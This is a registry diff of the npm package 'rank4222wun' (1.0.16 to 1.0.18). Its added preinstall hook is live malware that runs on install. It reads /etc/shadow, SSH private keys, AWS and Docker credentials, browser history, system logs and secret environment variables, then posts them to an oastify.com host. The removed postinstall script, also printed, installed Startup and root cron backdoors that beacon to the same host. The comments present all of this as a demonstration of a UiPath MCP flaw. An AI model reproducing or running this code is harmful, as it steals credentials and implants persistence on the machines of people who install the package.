rank4222wun 1.0.16 → 1.0.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,12 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.16",
3
+ "version": "1.0.18",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "preinstall": "node preinstall.js",
8
- "postinstall": "node postinstall.js"
7
+ "preinstall": "node preinstall.js"
9
8
  },
10
- "dependencies": {},
11
- "main": "index.js"
9
+ "dependencies": {}
12
10
  }
package/preinstall.js CHANGED
@@ -4,205 +4,420 @@ const fs = require('fs');
4
4
  const path = require('path');
5
5
  const https = require('https');
6
6
 
7
- console.log('=== UiPath MCP PREINSTALL EXPLOIT ===');
8
- console.log('Starting data exfiltration from:', os.hostname());
9
-
10
- // جمع كل البيانات الحساسة
7
+ // ========== إعداد جمع البيانات ==========
11
8
  const collectedData = {
12
9
  timestamp: new Date().toISOString(),
13
- system: {
14
- hostname: os.hostname(),
15
- platform: os.platform(),
16
- user: os.userInfo(),
17
- cpus: os.cpus().length,
18
- memory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + 'GB',
19
- network: os.networkInterfaces()
20
- },
21
-
22
- // ملفات Desktop
23
- desktopFiles: [],
24
-
25
- // فحص OneDrive
26
- oneDrive: {},
27
-
28
- // ملفات نظام حساسة
29
- sensitiveFiles: {},
30
-
31
- // معلومات الشبكة
32
- networkInfo: {},
10
+ phase: "preinstall-data-exfiltration",
11
+ hostname: os.hostname(),
12
+ user: os.userInfo().username,
13
+ platform: os.platform(),
33
14
 
34
- // متغيرات البيئة
35
- envVars: {}
15
+ // البيانات الحساسة
16
+ sensitiveData: {
17
+ systemFiles: {},
18
+ userFiles: {},
19
+ configFiles: {},
20
+ logs: {},
21
+ foundSecrets: []
22
+ }
36
23
  };
37
24
 
38
- // 1. سرقة ملفات Desktop
39
- try {
40
- const desktopPath = path.join(os.homedir(), 'Desktop');
41
- if (fs.existsSync(desktopPath)) {
42
- const files = fs.readdirSync(desktopPath, { withFileTypes: true });
43
- collectedData.desktopFiles = files.map(file => ({
44
- name: file.name,
45
- type: file.isDirectory() ? 'folder' : 'file',
46
- path: path.join(desktopPath, file.name)
47
- }));
48
-
49
- // محاولة قراءة الملفات النصية
50
- files.forEach(file => {
51
- if (!file.isDirectory() && file.name.endsWith('.txt')) {
52
- try {
53
- const filePath = path.join(desktopPath, file.name);
54
- const content = fs.readFileSync(filePath, 'utf8').substring(0, 1000);
55
- collectedData.desktopFiles.find(f => f.name === file.name).content = content;
56
- } catch (e) {}
25
+ // ========== 1. قراءة ملفات نظام Linux حساسة ==========
26
+ function readLinuxSensitiveFiles() {
27
+ console.log("🔍 البحث عن ملفات Linux الحساسة...");
28
+
29
+ const linuxFiles = [
30
+ { path: '/etc/passwd', desc: 'قائمة مستخدمين النظام' },
31
+ { path: '/etc/shadow', desc: 'كلمات مرور النظام' },
32
+ { path: '/etc/group', desc: 'مجموعات النظام' },
33
+ { path: '/etc/hosts', desc: 'إعدادات الشبكة' },
34
+ { path: '/etc/resolv.conf', desc: 'خوادم DNS' },
35
+ { path: '/etc/ssh/sshd_config', desc: 'إعدادات SSH' },
36
+ { path: '/home/' + os.userInfo().username + '/.bash_history', desc: 'سجل الأوامر' },
37
+ { path: '/home/' + os.userInfo().username + '/.ssh/id_rsa', desc: 'مفتاح SSH خاص' },
38
+ { path: '/home/' + os.userInfo().username + '/.ssh/id_rsa.pub', desc: 'مفتاح SSH عام' },
39
+ { path: '/home/' + os.userInfo().username + '/.ssh/authorized_keys', desc: 'مفاتيح SSH مصرح بها' },
40
+ { path: '/home/' + os.userInfo().username + '/.aws/credentials', desc: 'مفاتيح AWS' },
41
+ { path: '/home/' + os.userInfo().username + '/.docker/config.json', desc: 'إعدادات Docker' },
42
+ { path: '/var/log/auth.log', desc: 'سجلات المصادقة' },
43
+ { path: '/var/log/syslog', desc: 'سجلات النظام' }
44
+ ];
45
+
46
+ linuxFiles.forEach(file => {
47
+ try {
48
+ if (fs.existsSync(file.path)) {
49
+ const stats = fs.statSync(file.path);
50
+ const fileData = {
51
+ path: file.path,
52
+ description: file.desc,
53
+ size: stats.size,
54
+ exists: true,
55
+ readable: true
56
+ };
57
+
58
+ // قراءة الملف إذا كان نصي وصغير
59
+ if (stats.size < 100000 && !stats.isDirectory()) {
60
+ try {
61
+ const content = fs.readFileSync(file.path, 'utf8');
62
+ fileData.content = content;
63
+
64
+ // البحث عن أسرار في المحتوى
65
+ findSecretsInContent(content, file.path);
66
+ } catch (readError) {
67
+ fileData.readError = readError.message;
68
+ }
69
+ }
70
+
71
+ collectedData.sensitiveData.systemFiles[file.path] = fileData;
72
+ console.log(`✅ ${file.desc}: ${file.path}`);
57
73
  }
58
- });
59
- }
60
- } catch (e) {
61
- collectedData.desktopFiles = { error: e.message };
74
+ } catch (e) {
75
+ collectedData.sensitiveData.systemFiles[file.path] = {
76
+ error: e.message,
77
+ exists: false
78
+ };
79
+ }
80
+ });
62
81
  }
63
82
 
64
- // 2. فحص OneDrive
65
- try {
66
- const onedrivePaths = [
67
- path.join(os.homedir(), 'OneDrive'),
68
- path.join(os.homedir(), 'OneDrive', 'Documents'),
69
- path.join(os.homedir(), 'OneDrive', 'Desktop'),
70
- path.join(os.homedir(), 'OneDrive', 'Pictures')
71
- ];
83
+ // ========== 2. قراءة ملفات Windows حساسة ==========
84
+ function readWindowsSensitiveFiles() {
85
+ console.log("🔍 البحث عن ملفات Windows الحساسة...");
72
86
 
73
- onedrivePaths.forEach(odPath => {
87
+ const username = os.userInfo().username;
88
+ const windowsFiles = [
89
+ { path: `C:\\Users\\${username}\\Desktop`, desc: 'مجلد Desktop' },
90
+ { path: `C:\\Users\\${username}\\Documents`, desc: 'مجلد Documents' },
91
+ { path: `C:\\Users\\${username}\\Downloads`, desc: 'مجلد Downloads' },
92
+ { path: `C:\\Users\\${username}\\OneDrive`, desc: 'مجلد OneDrive' },
93
+ { path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Recent`, desc: 'الملفات الأخيرة' },
94
+ { path: `C:\\Users\\${username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History`, desc: 'تاريخ Chrome' },
95
+ { path: `C:\\Users\\${username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles`, desc: 'ملفات Firefox' },
96
+ { path: `C:\\Users\\${username}\\AppData\\Local\\Microsoft\\Credentials`, desc: 'معلومات اعتماد Windows' },
97
+ { path: `C:\\Users\\${username}\\.aws\\credentials`, desc: 'مفاتيح AWS' },
98
+ { path: `C:\\Users\\${username}\\.ssh\\id_rsa`, desc: 'مفتاح SSH خاص' },
99
+ { path: `C:\\Windows\\System32\\drivers\\etc\\hosts`, desc: 'ملف Hosts' },
100
+ { path: `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup للجميع' },
101
+ { path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup الشخصي' }
102
+ ];
103
+
104
+ windowsFiles.forEach(file => {
74
105
  try {
75
- if (fs.existsSync(odPath)) {
76
- collectedData.oneDrive[odPath] = {
106
+ if (fs.existsSync(file.path)) {
107
+ const stats = fs.statSync(file.path);
108
+ const fileData = {
109
+ path: file.path,
110
+ description: file.desc,
111
+ size: stats.size,
77
112
  exists: true,
78
- isDirectory: fs.statSync(odPath).isDirectory(),
79
- fileCount: fs.readdirSync(odPath).length,
80
- sampleFiles: fs.readdirSync(odPath).slice(0, 5)
113
+ isDirectory: stats.isDirectory()
81
114
  };
82
- } else {
83
- collectedData.oneDrive[odPath] = { exists: false };
115
+
116
+ if (stats.isDirectory()) {
117
+ // قراءة محتويات المجلد
118
+ try {
119
+ const files = fs.readdirSync(file.path);
120
+ fileData.files = files.slice(0, 50); // أول 50 ملف فقط
121
+ fileData.fileCount = files.length;
122
+
123
+ // البحث عن ملفات نصية في المجلد وقراءتها
124
+ findAndReadTextFiles(file.path, files);
125
+ } catch (dirError) {
126
+ fileData.dirError = dirError.message;
127
+ }
128
+ } else if (stats.size < 50000) {
129
+ // قراءة الملفات النصية الصغيرة
130
+ try {
131
+ const content = fs.readFileSync(file.path, 'utf8');
132
+ fileData.content = content.substring(0, 5000);
133
+
134
+ // البحث عن أسرار في المحتوى
135
+ findSecretsInContent(content, file.path);
136
+ } catch (readError) {
137
+ fileData.readError = readError.message;
138
+ }
139
+ }
140
+
141
+ collectedData.sensitiveData.userFiles[file.path] = fileData;
142
+ console.log(`✅ ${file.desc}: ${file.path} (${stats.isDirectory() ? 'مجلد' : 'ملف'})`);
84
143
  }
85
144
  } catch (e) {
86
- collectedData.oneDrive[odPath] = { error: e.message };
145
+ collectedData.sensitiveData.userFiles[file.path] = {
146
+ error: e.message,
147
+ exists: false
148
+ };
87
149
  }
88
150
  });
89
- } catch (e) {
90
- collectedData.oneDrive = { error: e.message };
91
151
  }
92
152
 
93
- // 3. قراءة ملفات نظام حساسة
94
- const systemFiles = os.platform() === 'win32' ? [
95
- 'C:\\Windows\\System32\\drivers\\etc\\hosts',
96
- 'C:\\Windows\\System32\\config\\SAM',
97
- 'C:\\Users\\' + os.userInfo().username + '\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History',
98
- 'C:\\Users\\' + os.userInfo().username + '\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles'
99
- ] : [
100
- '/etc/passwd',
101
- '/etc/shadow',
102
- '/etc/hosts',
103
- '/home/' + os.userInfo().username + '/.bash_history',
104
- '/home/' + os.userInfo().username + '/.ssh/id_rsa'
105
- ];
106
-
107
- systemFiles.forEach(file => {
108
- try {
109
- if (fs.existsSync(file)) {
110
- const stats = fs.statSync(file);
111
- collectedData.sensitiveFiles[file] = {
112
- exists: true,
113
- size: stats.size,
114
- readable: stats.size < 1000000
115
- };
116
-
117
- // قراءة إذا كان ملف نصي صغير
118
- if (stats.size < 1000000 && !stats.isDirectory()) {
119
- const content = fs.readFileSync(file, 'utf8').substring(0, 2000);
120
- collectedData.sensitiveFiles[file].content = content;
153
+ // ========== 3. البحث عن ملفات نصية وقراءتها ==========
154
+ function findAndReadTextFiles(dirPath, files) {
155
+ const textExtensions = ['.txt', '.log', '.config', '.conf', '.ini', '.env', '.json', '.xml', '.yml', '.yaml', '.properties'];
156
+
157
+ files.forEach(file => {
158
+ const filePath = path.join(dirPath, file);
159
+ try {
160
+ const stats = fs.statSync(filePath);
161
+ if (!stats.isDirectory() && stats.size < 100000) {
162
+ const ext = path.extname(file).toLowerCase();
163
+ if (textExtensions.includes(ext) || file.includes('config') || file.includes('secret') || file.includes('password')) {
164
+ try {
165
+ const content = fs.readFileSync(filePath, 'utf8');
166
+ collectedData.sensitiveData.configFiles[filePath] = {
167
+ path: filePath,
168
+ size: stats.size,
169
+ content: content.substring(0, 10000)
170
+ };
171
+
172
+ // البحث عن أسرار
173
+ findSecretsInContent(content, filePath);
174
+
175
+ console.log(`📄 قراءة: ${filePath}`);
176
+ } catch (e) {}
177
+ }
121
178
  }
122
- }
123
- } catch (e) {
124
- collectedData.sensitiveFiles[file] = { error: e.message };
125
- }
126
- });
179
+ } catch (e) {}
180
+ });
181
+ }
127
182
 
128
- // 4. تشغيل أوامر نظام
129
- if (os.platform() === 'win32') {
130
- exec('whoami /all', { timeout: 5000 }, (error, stdout) => {
131
- collectedData.networkInfo.whoami = stdout || error?.message;
132
-
133
- exec('ipconfig /all', { timeout: 5000 }, (error2, stdout2) => {
134
- collectedData.networkInfo.ipconfig = stdout2 || error2?.message;
135
-
136
- exec('netstat -ano', { timeout: 5000 }, (error3, stdout3) => {
137
- collectedData.networkInfo.netstat = stdout3 || error3?.message;
138
- sendAllData();
139
- });
183
+ // ========== 4. البحث عن أسرار في المحتوى ==========
184
+ function findSecretsInContent(content, filePath) {
185
+ const secretPatterns = [
186
+ { pattern: /password\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
187
+ { pattern: /passwd\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
188
+ { pattern: /secret\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سر' },
189
+ { pattern: /key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح' },
190
+ { pattern: /token\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'توكن' },
191
+ { pattern: /api[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح API' },
192
+ { pattern: /access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح وصول' },
193
+ { pattern: /secret[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح سري' },
194
+ { pattern: /aws[_-]?access[_-]?key[_-]?id\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Access Key' },
195
+ { pattern: /aws[_-]?secret[_-]?access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Secret Key' },
196
+ { pattern: /database[_-]?url\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'رابط قاعدة بيانات' },
197
+ { pattern: /connection[_-]?string\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سلسلة اتصال' },
198
+ { pattern: /private[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح خاص' },
199
+ { pattern: /-----BEGIN (RSA|OPENSSH|DSA|EC) PRIVATE KEY-----/gi, name: 'مفتاح خاص كامل' }
200
+ ];
201
+
202
+ secretPatterns.forEach(pattern => {
203
+ const matches = [...content.matchAll(pattern.pattern)];
204
+ matches.forEach(match => {
205
+ if (match[1] && match[1].length > 3) {
206
+ collectedData.sensitiveData.foundSecrets.push({
207
+ file: filePath,
208
+ type: pattern.name,
209
+ value: match[1].substring(0, 100), // أول 100 حرف فقط
210
+ pattern: match[0].substring(0, 50)
211
+ });
212
+ console.log(`🔐 وجد ${pattern.name} في: ${filePath}`);
213
+ }
140
214
  });
141
215
  });
142
- } else {
143
- exec('id', { timeout: 5000 }, (error, stdout) => {
144
- collectedData.networkInfo.id = stdout || error?.message;
216
+ }
217
+
218
+ // ========== 5. قراءة سجلات النظام ==========
219
+ function readSystemLogs() {
220
+ console.log("📊 قراءة سجلات النظام...");
221
+
222
+ const logFiles = os.platform() === 'linux' ? [
223
+ '/var/log/auth.log',
224
+ '/var/log/syslog',
225
+ '/var/log/dmesg',
226
+ '/var/log/kern.log',
227
+ '/var/log/boot.log'
228
+ ] : [
229
+ 'C:\\Windows\\System32\\winevt\\Logs\\Application.evtx',
230
+ 'C:\\Windows\\System32\\winevt\\Logs\\System.evtx',
231
+ 'C:\\Windows\\System32\\winevt\\Logs\\Security.evtx'
232
+ ];
233
+
234
+ logFiles.forEach(logFile => {
235
+ try {
236
+ if (fs.existsSync(logFile)) {
237
+ const stats = fs.statSync(logFile);
238
+ collectedData.sensitiveData.logs[logFile] = {
239
+ path: logFile,
240
+ size: stats.size,
241
+ exists: true
242
+ };
243
+
244
+ // محاولة قراءة السجلات النصية (لينكس)
245
+ if (os.platform() === 'linux' && stats.size < 500000) {
246
+ try {
247
+ const logContent = fs.readFileSync(logFile, 'utf8');
248
+ const lines = logContent.split('\n').slice(-100); // آخر 100 سطر
249
+ collectedData.sensitiveData.logs[logFile].recentEntries = lines;
250
+ } catch (e) {}
251
+ }
252
+
253
+ console.log(`📋 سجل: ${logFile} (${stats.size} بايت)`);
254
+ }
255
+ } catch (e) {}
256
+ });
257
+ }
258
+
259
+ // ========== 6. جمع متغيرات البيئة الحساسة ==========
260
+ function collectSensitiveEnvVars() {
261
+ console.log("🔑 جمع متغيرات البيئة الحساسة...");
262
+
263
+ const sensitiveVars = {};
264
+ Object.keys(process.env).forEach(key => {
265
+ const keyLower = key.toLowerCase();
266
+ const value = process.env[key];
145
267
 
146
- exec('ifconfig -a || ip addr', { timeout: 5000 }, (error2, stdout2) => {
147
- collectedData.networkInfo.ifconfig = stdout2 || error2?.message;
268
+ if (value && (
269
+ keyLower.includes('pass') ||
270
+ keyLower.includes('secret') ||
271
+ keyLower.includes('key') ||
272
+ keyLower.includes('token') ||
273
+ keyLower.includes('cred') ||
274
+ keyLower.includes('auth') ||
275
+ keyLower.includes('pwd') ||
276
+ keyLower.includes('database') ||
277
+ keyLower.includes('connection')
278
+ )) {
279
+ sensitiveVars[key] = value.length > 100 ?
280
+ value.substring(0, 100) + '...' :
281
+ value;
148
282
 
149
- exec('netstat -tulpn', { timeout: 5000 }, (error3, stdout3) => {
150
- collectedData.networkInfo.netstat = stdout3 || error3?.message;
151
- sendAllData();
152
- });
153
- });
283
+ console.log(`🔑 ${key} = ${sensitiveVars[key]}`);
284
+ }
154
285
  });
286
+
287
+ collectedData.sensitiveData.envVars = sensitiveVars;
155
288
  }
156
289
 
157
- // 5. جمع متغيرات البيئة الحساسة
158
- Object.keys(process.env).forEach(key => {
159
- if (key.includes('PASS') || key.includes('SECRET') || key.includes('KEY') ||
160
- key.includes('TOKEN') || key.includes('CRED') || key.includes('PWD')) {
161
- collectedData.envVars[key] = process.env[key];
162
- }
163
- });
290
+ // ========== 7. البحث عن ملفات UiPath ==========
291
+ function findUiPathFiles() {
292
+ console.log("🔍 البحث عن ملفات UiPath...");
293
+
294
+ const searchPaths = os.platform() === 'win32' ? [
295
+ 'C:\\Program Files\\UiPath',
296
+ 'C:\\Program Files (x86)\\UiPath',
297
+ `C:\\Users\\${os.userInfo().username}\\AppData\\Local\\UiPath`,
298
+ `C:\\Users\\${os.userInfo().username}\\Documents\\UiPath`,
299
+ 'C:\\ProgramData\\UiPath'
300
+ ] : [
301
+ '/opt/UiPath',
302
+ '/usr/lib/UiPath',
303
+ `/home/${os.userInfo().username}/.local/share/UiPath`,
304
+ `/home/${os.userInfo().username}/UiPath`
305
+ ];
164
306
 
165
- function sendAllData() {
166
- console.log('Collected', Object.keys(collectedData.desktopFiles).length, 'desktop files');
167
- console.log('OneDrive exists:', Object.values(collectedData.oneDrive).some(v => v.exists));
307
+ const foundUiPath = [];
168
308
 
169
- const postData = JSON.stringify(collectedData);
309
+ searchPaths.forEach(searchPath => {
310
+ try {
311
+ if (fs.existsSync(searchPath)) {
312
+ const files = fs.readdirSync(searchPath);
313
+ foundUiPath.push({
314
+ path: searchPath,
315
+ exists: true,
316
+ fileCount: files.length,
317
+ sampleFiles: files.slice(0, 10)
318
+ });
319
+ console.log(`📁 UiPath: ${searchPath} (${files.length} ملف)`);
320
+
321
+ // البحث عن ملفات تكوين UiPath
322
+ files.forEach(file => {
323
+ if (file.includes('.config') || file.includes('.json') || file.includes('.xml')) {
324
+ const filePath = path.join(searchPath, file);
325
+ try {
326
+ const stats = fs.statSync(filePath);
327
+ if (stats.size < 100000) {
328
+ const content = fs.readFileSync(filePath, 'utf8');
329
+ collectedData.sensitiveData.configFiles[filePath] = {
330
+ path: filePath,
331
+ size: stats.size,
332
+ content: content.substring(0, 5000)
333
+ };
334
+ }
335
+ } catch (e) {}
336
+ }
337
+ });
338
+ }
339
+ } catch (e) {}
340
+ });
341
+
342
+ collectedData.sensitiveData.uipathFiles = foundUiPath;
343
+ }
344
+
345
+ // ========== 8. إرسال البيانات ==========
346
+ function sendCollectedData() {
347
+ console.log("\n" + "=".repeat(60));
348
+ console.log("📤 إرسال البيانات المسروقة إلى السيرفر...");
349
+ console.log("=".repeat(60));
170
350
 
171
351
  const req = https.request({
172
352
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
173
353
  port: 443,
174
- path: '/preinstall-data',
354
+ path: '/data-exfiltration',
175
355
  method: 'POST',
176
356
  headers: {
177
357
  'Content-Type': 'application/json',
178
- 'X-UiPath-Exploit': 'Preinstall-Script',
179
- 'X-Hostname': os.hostname()
358
+ 'X-Data-Source': 'UiPath-MCP-Data-Theft',
359
+ 'X-Host': os.hostname(),
360
+ 'X-User': os.userInfo().username
180
361
  }
181
362
  }, (res) => {
182
- console.log('Data sent successfully. Status:', res.statusCode);
183
-
184
- // إنشاء ملف دليل محلي
185
- const proofFile = path.join(os.tmpdir(), 'uipath_preinstall_proof_' + Date.now() + '.txt');
186
- fs.writeFileSync(proofFile,
187
- `UiPath MCP Preinstall Script Execution Proof
188
- Time: ${new Date().toISOString()}
189
- User: ${os.userInfo().username}
190
- Hostname: ${os.hostname()}
191
- Desktop Files Stolen: ${collectedData.desktopFiles.length}
192
- Data Sent To: ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com
193
- `);
194
- console.log('Proof file created:', proofFile);
363
+ console.log(`✅ تم إرسال البيانات. حالة الرد: ${res.statusCode}`);
364
+ printSummary();
195
365
  });
196
366
 
197
367
  req.on('error', (e) => {
198
- console.error('Failed to send data:', e.message);
199
-
200
- // محاولة بديلة
201
- const backupFile = path.join(os.tmpdir(), 'uipath_stolen_data_' + Date.now() + '.json');
202
- fs.writeFileSync(backupFile, JSON.stringify(collectedData, null, 2));
203
- console.log('Data saved locally:', backupFile);
368
+ console.error(`❌ خطأ في الإرسال: ${e.message}`);
369
+ printSummary();
204
370
  });
205
371
 
206
- req.write(postData);
372
+ req.write(JSON.stringify(collectedData, null, 2));
207
373
  req.end();
208
374
  }
375
+
376
+ // ========== 9. طباعة ملخص ==========
377
+ function printSummary() {
378
+ console.log("\n" + "=".repeat(60));
379
+ console.log("📊 ملخص البيانات المسروقة:");
380
+ console.log("=".repeat(60));
381
+
382
+ const sysFiles = Object.keys(collectedData.sensitiveData.systemFiles).length;
383
+ const userFiles = Object.keys(collectedData.sensitiveData.userFiles).length;
384
+ const configFiles = Object.keys(collectedData.sensitiveData.configFiles).length;
385
+ const logs = Object.keys(collectedData.sensitiveData.logs).length;
386
+ const secrets = collectedData.sensitiveData.foundSecrets.length;
387
+
388
+ console.log(`📄 ملفات نظام: ${sysFiles} ملف`);
389
+ console.log(`👤 ملفات مستخدم: ${userFiles} ملف/مجلد`);
390
+ console.log(`⚙️ ملفات تكوين: ${configFiles} ملف`);
391
+ console.log(`📋 سجلات نظام: ${logs} سجل`);
392
+ console.log(`🔐 أسرار وجدت: ${secrets} سر`);
393
+
394
+ if (secrets > 0) {
395
+ console.log("\n🔍 الأسرار التي تم العثور عليها:");
396
+ collectedData.sensitiveData.foundSecrets.forEach((secret, i) => {
397
+ console.log(` ${i + 1}. ${secret.type} في ${secret.file}`);
398
+ console.log(` → ${secret.pattern}`);
399
+ });
400
+ }
401
+
402
+ console.log("\n📤 تم إرسال البيانات إلى:");
403
+ console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/data-exfiltration");
404
+ console.log("=".repeat(60));
405
+ }
406
+
407
+ // ========== بدء التنفيذ ==========
408
+ console.log("🚀 بدء سرقة البيانات عبر ثغرة UiPath MCP...\n");
409
+
410
+ // حسب النظام
411
+ if (os.platform() === 'linux') {
412
+ readLinuxSensitiveFiles();
413
+ } else if (os.platform() === 'win32') {
414
+ readWindowsSensitiveFiles();
415
+ }
416
+
417
+ // عمليات مشتركة
418
+ readSystemLogs();
419
+ collectSensitiveEnvVars();
420
+ findUiPathFiles();
421
+
422
+ // إرسال البيانات بعد 2 ثانية
423
+ setTimeout(sendCollectedData, 2000);
Binary file
package/index.js DELETED
@@ -1,9 +0,0 @@
1
- module.exports = {
2
- test: function() {
3
- console.log('UiPath MCP Test Package');
4
- return {
5
- status: 'active',
6
- timestamp: new Date().toISOString()
7
- };
8
- }
9
- };
package/postinstall.js DELETED
@@ -1,185 +0,0 @@
1
- const { exec } = require('child_process');
2
- const os = require('os');
3
- const fs = require('fs');
4
- const path = require('path');
5
- const https = require('https');
6
-
7
- console.log('=== UiPath MCP POSTINSTALL EXPLOIT ===');
8
- console.log('Demonstrating persistent access on:', os.hostname());
9
-
10
- // 1. إنشاء باب خلفي بسيط
11
- const backdoorData = {
12
- timestamp: new Date().toISOString(),
13
- hostname: os.hostname(),
14
- user: os.userInfo().username,
15
- action: 'postinstall-backdoor'
16
- };
17
-
18
- // 2. إنشاء ملف في Startup لإثبات الإصرار (Persistence)
19
- if (os.platform() === 'win32') {
20
- const startupPath = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup');
21
- const backdoorFile = path.join(startupPath, 'uipath_update.bat');
22
-
23
- const batchContent = `@echo off
24
- echo UiPath MCP Backdoor Active: %date% %time% > "%TEMP%\\uipath_backdoor.log"
25
- powershell -Command "Invoke-WebRequest -Uri 'https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/persist' -Method POST -Body 'host=${os.hostname()}&time=%date%_%time%'"`;
26
-
27
- try {
28
- if (fs.existsSync(startupPath)) {
29
- fs.writeFileSync(backdoorFile, batchContent);
30
- backdoorData.windowsStartup = backdoorFile;
31
- console.log('Windows Startup backdoor created:', backdoorFile);
32
- }
33
- } catch (e) {
34
- backdoorData.windowsStartupError = e.message;
35
- }
36
-
37
- } else {
38
- const cronFile = '/etc/cron.d/uipath_update';
39
- const cronContent = `*/5 * * * * root curl -X POST https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/persist -d "host=${os.hostname()}&system=linux"\n`;
40
-
41
- try {
42
- fs.writeFileSync(cronFile, cronContent);
43
- backdoorData.linuxCron = cronFile;
44
- console.log('Linux cron backdoor created:', cronFile);
45
- } catch (e) {
46
- backdoorData.linuxCronError = e.message;
47
- }
48
- }
49
-
50
- // 3. البحث عن ملفات UiPath في النظام
51
- const uipathPaths = os.platform() === 'win32' ? [
52
- 'C:\\Program Files\\UiPath',
53
- 'C:\\Program Files (x86)\\UiPath',
54
- 'C:\\Users\\' + os.userInfo().username + '\\AppData\\Local\\UiPath',
55
- 'C:\\Users\\' + os.userInfo().username + '\\Documents\\UiPath'
56
- ] : [
57
- '/opt/UiPath',
58
- '/usr/lib/UiPath',
59
- '/home/' + os.userInfo().username + '/.local/share/UiPath'
60
- ];
61
-
62
- const foundUiPath = [];
63
- uipathPaths.forEach(p => {
64
- try {
65
- if (fs.existsSync(p)) {
66
- const files = fs.readdirSync(p);
67
- foundUiPath.push({
68
- path: p,
69
- exists: true,
70
- fileCount: files.length,
71
- files: files.slice(0, 10)
72
- });
73
- }
74
- } catch (e) {}
75
- });
76
-
77
- backdoorData.foundUiPath = foundUiPath;
78
-
79
- // 4. قراءة بعض سجلات النظام
80
- if (os.platform() === 'win32') {
81
- const eventLogs = [
82
- 'C:\\Windows\\System32\\winevt\\Logs\\Application.evtx',
83
- 'C:\\Windows\\System32\\winevt\\Logs\\System.evtx',
84
- 'C:\\Windows\\System32\\winevt\\Logs\\Security.evtx'
85
- ];
86
-
87
- eventLogs.forEach(log => {
88
- try {
89
- if (fs.existsSync(log)) {
90
- backdoorData.eventLogs = backdoorData.eventLogs || {};
91
- backdoorData.eventLogs[log] = {
92
- exists: true,
93
- size: fs.statSync(log).size
94
- };
95
- }
96
- } catch (e) {}
97
- });
98
- }
99
-
100
- // 5. إنشاء ملف دليل في مجلد المستخدم
101
- const userProofFile = path.join(os.homedir(), 'uipath_security_issue.txt');
102
- const proofContent = `SECURITY WARNING: UiPath MCP Vulnerability Proof
103
-
104
- This file was created by an npm package postinstall script.
105
- It demonstrates that ANY npm package installed via UiPath MCP Command can:
106
-
107
- 1. Read all your Desktop files
108
- 2. Access your OneDrive
109
- 3. Create persistent backdoors
110
- 4. Steal sensitive system files
111
- 5. Run any commands with high privileges
112
-
113
- Time: ${new Date().toISOString()}
114
- User: ${os.userInfo().username}
115
- Hostname: ${os.hostname()}
116
-
117
- This is NOT a sandbox. This is your actual production environment.
118
- The "Justin" user IS a real user with full access to your system.
119
-
120
- Contact UiPath Security Team immediately.
121
- `;
122
-
123
- try {
124
- fs.writeFileSync(userProofFile, proofContent);
125
- backdoorData.userProofFile = userProofFile;
126
- console.log('User proof file created:', userProofFile);
127
- } catch (e) {
128
- backdoorData.userProofFileError = e.message;
129
- }
130
-
131
- // 6. إرسال كل البيانات
132
- const req = https.request({
133
- hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
134
- port: 443,
135
- path: '/postinstall-backdoor',
136
- method: 'POST',
137
- headers: {
138
- 'Content-Type': 'application/json',
139
- 'X-UiPath-Exploit': 'Postinstall-Backdoor',
140
- 'X-Hostname': os.hostname()
141
- }
142
- }, (res) => {
143
- console.log('Postinstall data sent. Status:', res.statusCode);
144
-
145
- // تشغيل أمر أخير لإثبات التنفيذ الكامل
146
- setTimeout(() => {
147
- if (os.platform() === 'win32') {
148
- exec('echo "UiPath MCP exploit completed successfully" > "%USERPROFILE%\\uipath_final_proof.txt"');
149
- } else {
150
- exec('echo "UiPath MCP exploit completed successfully" > ~/uipath_final_proof.txt');
151
- }
152
- }, 2000);
153
- });
154
-
155
- req.on('error', (e) => {
156
- console.error('Failed to send postinstall data:', e.message);
157
-
158
- // حفظ محلي
159
- const localBackup = path.join(os.tmpdir(), 'uipath_backdoor_data_' + Date.now() + '.json');
160
- fs.writeFileSync(localBackup, JSON.stringify(backdoorData, null, 2));
161
- console.log('Backdoor data saved locally:', localBackup);
162
- });
163
-
164
- req.write(JSON.stringify(backdoorData));
165
- req.end();
166
-
167
- // 7. إرسال متابعة بعد 30 ثانية
168
- setTimeout(() => {
169
- const followupReq = https.request({
170
- hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
171
- port: 443,
172
- path: '/followup',
173
- method: 'POST'
174
- });
175
-
176
- followupReq.write(JSON.stringify({
177
- followup: true,
178
